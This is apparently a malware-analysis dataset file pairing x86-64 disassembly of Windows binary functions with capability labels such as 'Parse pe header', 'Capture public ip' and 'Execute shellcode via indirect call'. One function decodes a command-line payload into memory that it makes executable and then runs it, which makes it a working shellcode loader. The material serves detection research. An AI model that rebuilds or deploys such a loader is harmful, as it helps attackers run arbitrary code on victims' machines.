joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008fe0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400090b3
cmp byte [rcx + 0x71], 0
je 0x1400090b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400090af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009074
sub eax, 1
je 0x140009078
cmp eax, 2
jne 0x1400090af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140018780
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400090a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400090af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000905c
xor al, al
jmp 0x14000905c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140018780
add rsp, 0x60
pop rbx
ret

Function at 0x140018650
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14001868a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14001868f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400186d8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14001b600]
cmp byte [rcx + rax], 0
je 0x1400186d8
dec r8
sub rdx, 1
jne 0x1400186be
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140019170
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400191ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400191ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400191ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400191ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400191ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400191bc
xor al, al
add rsp, 0x28
ret
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140009008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140009008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x14000191c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001966
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001966
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001966
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001966
cmp dword [rcx + 0x84], 0xe
jbe 0x140001966
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001968
xor al, al
add rsp, 0x28
ret
Function at 0x140006270
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14008c070]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006343
cmp byte [rcx + 0x71], 0
je 0x140006343
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000633f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006304
sub eax, 1
je 0x140006308
cmp eax, 2
jne 0x14000633f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006cd00
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006336
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000633f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400062ec
xor al, al
jmp 0x1400062ec
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006cd00
add rsp, 0x60
pop rbx
ret

Function at 0x140009770
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x14008c070]
xor rax, rsp
mov qword [rsp + 0xc0], rax
movzx edi, cl
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [0x14008c1b8]
lea rcx, [rsp + 0x60]
call fcn.1400065f0
mov rbx, rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov r8d, 0xa
lea rdx, str.US_f__UYDB
lea rcx, [rsp + 0x38]
call fcn.1400067c0
nop
mov r9, rbx
mov r8d, 0xa
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.140010cb0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140014ae0
nop
mov byte [0x14008d1cc], 0
xor r8d, r8d
lea rdx, [0x140080558]
lea rcx, [0x14008c0f8]
call fcn.1400067c0
xor r8d, r8d
lea rdx, [0x140080558]
lea rcx, [0x14008c1f8]
call fcn.1400067c0
xor r8d, r8d
lea rdx, [0x140080558]
lea rcx, [0x14008c178]
call fcn.1400067c0
xor r8d, r8d
lea rdx, [0x140080558]
lea rcx, [0x14008c158]
call fcn.1400067c0
mov ecx, 0xffffffff
call fcn.140001990
call fcn.140001aa0
mov rcx, qword [0x14008d1c0]
test rcx, rcx
je 0x1400098a7
test dil, dil
je 0x1400098a7
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov qword [0x14008d1c0], 0
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x1400098ed
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400098e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006cd20
mov eax, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14006cd00
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rdi
ret
Function at 0x1400010e0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x14000120f
test sil, 3
jne 0x14000120f
mov rax, rdx
shr rax, 2
cmp byte [rcx + rdx - 1], 0x3d
lea r9, [rax + rax*2]
lea rax, [r9 - 1]
cmovne rax, r9
cmp byte [rcx + rdx - 2], 0x3d
lea rdi, [rax - 1]
cmovne rdi, rax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
test rax, rax
je 0x14000120f
xor r8d, r8d
xor ecx, ecx
test rsi, rsi
je 0x140001202
mov qword [rsp + 0x30], rbp
lea rbp, [0x1400032e0]
movsx rdx, byte [r8 + rbx]
cmp dl, 0x3d
jne 0x140001173
xor edx, edx
jmp 0x140001177
movsx edx, byte [rdx + rbp]
movsx rax, byte [r8 + rbx + 1]
cmp al, 0x3d
jne 0x140001186
xor r11d, r11d
jmp 0x14000118b
movsx r11d, byte [rax + rbp]
movsx rax, byte [r8 + rbx + 2]
cmp al, 0x3d
jne 0x14000119a
xor r10d, r10d
jmp 0x14000119f
movsx r10d, byte [rax + rbp]
movsx rax, byte [r8 + rbx + 3]
add r8, 4
cmp al, 0x3d
jne 0x1400011b1
xor eax, eax
jmp 0x1400011b5
movsx eax, byte [rax + rbp]
shl edx, 6
add edx, r11d
shl edx, 6
add edx, r10d
shl edx, 6
add edx, eax
cmp rcx, rdi
jae 0x1400011f4
mov eax, edx
shr eax, 0x10
mov byte [rcx + r9], al
inc rcx
cmp rcx, rdi
jae 0x1400011f4
mov eax, edx
shr eax, 8
mov byte [rcx + r9], al
inc rcx
cmp rcx, rdi
jae 0x1400011f4
mov byte [rcx + r9], dl
inc rcx
cmp r8, rsi
jb 0x140001165
mov rbp, qword [rsp + 0x30]
test r14, r14
je 0x14000120a
mov qword [r14], rdi
mov rax, r9
jmp 0x140001211
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, [0x140003290]
lea rcx, str.djahauhryhruhk
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400013e7
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
cmp ebx, 2
jne 0x1400013e7
mov qword [rsp + 0x60], rbp
lea r9d, [rbx + 2]
mov edx, 0x1000
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
mov r8d, edx
xor ecx, ecx
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, qword [rdi + 8]
lea rdx, str.niubi
mov rcx, rdi
mov r14, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rsi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x1400012ed
lea rdx, [rax + 5]
mov r8, rbx
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400012d0
inc r8
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov rcx, rsi
call fcn.140001070
mov rdx, rbx
inc rdx
cmp byte [rdi + rdx], 0
jne 0x1400012f0
lea r8, [rsp + 0x20]
mov rcx, rdi
call fcn.1400010e0
mov rdi, rax
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001310
mov rax, rbx
cdq
sub eax, edx
sar eax, 1
movsxd r15, eax
mov rcx, r15
mov esi, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test esi, esi
jle 0x14000135f
mov rbx, rax
nop dword [rax]
mov r8, rbx
lea rdx, str._2hhx
mov rcx, rdi
call fcn.140001010
inc rbx
add rdi, 2
sub rsi, 1
jne 0x140001340
mov r8, r15
mov rdx, rbp
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r15, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x70]
test eax, eax
jne 0x1400013c6
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001400
add rsp, 0x48
pop rdi
pop rbx
ret
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x1400013a8
mov eax, 1
jmp 0x1400013b2

Function at 0x140001cc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d0c
xor al, al
add rsp, 0x28
ret
Function at 0x1400041c0
Capabilities:
Check internet connectivity via wininet

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x140004210
xor r8d, r8d
lea rcx, str.http:__www.google.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x140004210
mov al, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002dd50
add rsp, 0x38
ret
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002dd50
add rsp, 0x38
ret
Function at 0x140005630
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov qword [rbp - 1], rcx
xor r14d, r14d
mov dword [rbp - 0x25], r14d
mov dword [rbp - 1], r14d
mov rdx, r8
cmp qword [r8 + 0x18], 7
jbe 0x140005676
mov rdx, qword [r8]
lea rax, [rbp - 0x25]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 1]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xorps xmm0, xmm0
test eax, eax
je 0x1400056bd
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
xor r8d, r8d
lea rdx, [0x140032f49]
mov rcx, rbx
call fcn.1400040c0
jmp 0x140005778
mov r8d, dword [rbp - 0x25]
shr r8, 1
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], r14
mov qword [rbp - 9], r14
lea rcx, [rbp - 0x21]
call fcn.140029f80
nop
lea rax, [rbp - 0x21]
cmp qword [rbp - 9], 7
cmova rax, qword [rbp - 0x21]
cmp qword [rdi + 0x18], 7
jbe 0x1400056f2
mov rdi, qword [rdi]
lea rcx, [rbp - 0x25]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rbp - 1]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140005795
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
xor r8d, r8d
lea rdx, [0x140032f49]
mov rcx, rbx
call fcn.1400040c0
nop
mov rdx, qword [rbp - 9]
cmp rdx, 7
jbe 0x140005778
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005773
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000587d
call fcn.14002dd70
mov rax, rbx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14002dd50
add rsp, 0x90
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8, qword [rbp - 0x11]
mov rcx, qword [rbp - 0x21]
mov rdx, qword [rbp - 9]
test r8, r8
je 0x1400057df
lea rax, [rbp - 0x21]
cmp rdx, 7
cmova rax, rcx
lea r9, [r8 - 1]
cmp word [rax + r9*2], 0
jne 0x1400057df
mov qword [rbp - 0x11], r9
lea rax, [rbp - 0x21]
cmp rdx, 7
cmova rax, rcx
mov word [rax + r9*2], r14w
mov rdx, qword [rbp - 9]
mov r8, qword [rbp - 0x11]
mov rcx, qword [rbp - 0x21]
lea rax, [rbp - 0x21]
cmp rdx, 7
cmova rax, rcx
lea r9, [rax + r8*2]
lea rax, [rbp - 0x21]
cmova rax, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
cmp rax, r9
jne 0x140005819
mov qword [rbp + 0x1f], 0xf
mov byte [rbp + 7], 0
jmp 0x140005833
sub r9, rax
sar r9, 1
mov rdx, rax
lea rcx, [rbp + 7]
call fcn.14002b440
mov rdx, qword [rbp - 9]
mov rcx, qword [rbp - 0x21]
movups xmm0, xmmword [rbp + 7]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x17]
movups xmmword [rbx + 0x10], xmm1
cmp rdx, 7
jbe 0x140005778
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005773
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005773
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140006990
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0x1070
call fcn.14002e480
sub rsp, rax
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x1060], rax
xor ebx, ebx
lea r15, [0x1400415d8]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, [0x140033428]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
je 0x140006a22
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__ifconfig.me_ip
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140006a54
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [0x1400415d8], xmm0
mov qword [0x1400415e8], rbx
mov qword [0x1400415f0], rbx
mov r8d, 5
lea rdx, [0x140033440]
mov rcx, r15
call fcn.1400040c0
jmp 0x140006b47
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov esi, 0xf
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x40], bl
lea r9, [rsp + 0x38]
mov r8d, 0x1000
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140006b1d
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x140006b1d
mov edi, eax
mov rax, rsi
sub rax, rbx
cmp rdi, rax
ja 0x140006ada
lea rax, [rbx + rdi]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rsi, 0xf
cmova rax, qword [rsp + 0x40]
add rbx, rax
mov r8d, edi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140006af1
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.14002a400
lea r9, [rsp + 0x38]
mov r8d, 0x1000
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140006b1d
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140006a90
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [0x1400415d8], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [0x1400415e8], xmm1
mov rax, r15
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.14002dd50
lea r11, [rsp + 0x1070]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1400096b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [0x140034f88]
movzx eax, byte [0x140034fa0]
xor r9d, r9d
cmp dword [0x140040098], 2
mov rsi, rcx
movups xmmword [rsp + 0x40], xmm0
mov ecx, r9d
mov byte [rsp + 0x58], al
movsd xmm0, qword [0x140034f98]
movsd qword [rsp + 0x50], xmm0
jl 0x140009859
movdqa xmm0, xmmword [str.2222222222222222]
lea rdx, [rsp + 0x40]
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
movaps xmmword [rsp + 0x70], xmm6
movdqa xmm6, xmmword [0x140036090]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x18
jl 0x140009750
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x19
jge 0x14000989d
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x19
jl 0x140009870
mov dword [rsp + 0x28], r9d
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], r9
mov rbp, 0xffffffffffffffff
mov r9d, ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rbp
mov rcx, rax
call fcn.14002e0cc
mov r9d, ebp
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9, rdi
xor r8d, r8d
mov edx, 0xc2
mov rcx, rsi
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rdi
call fcn.14002dd70
mov al, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002dd50
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret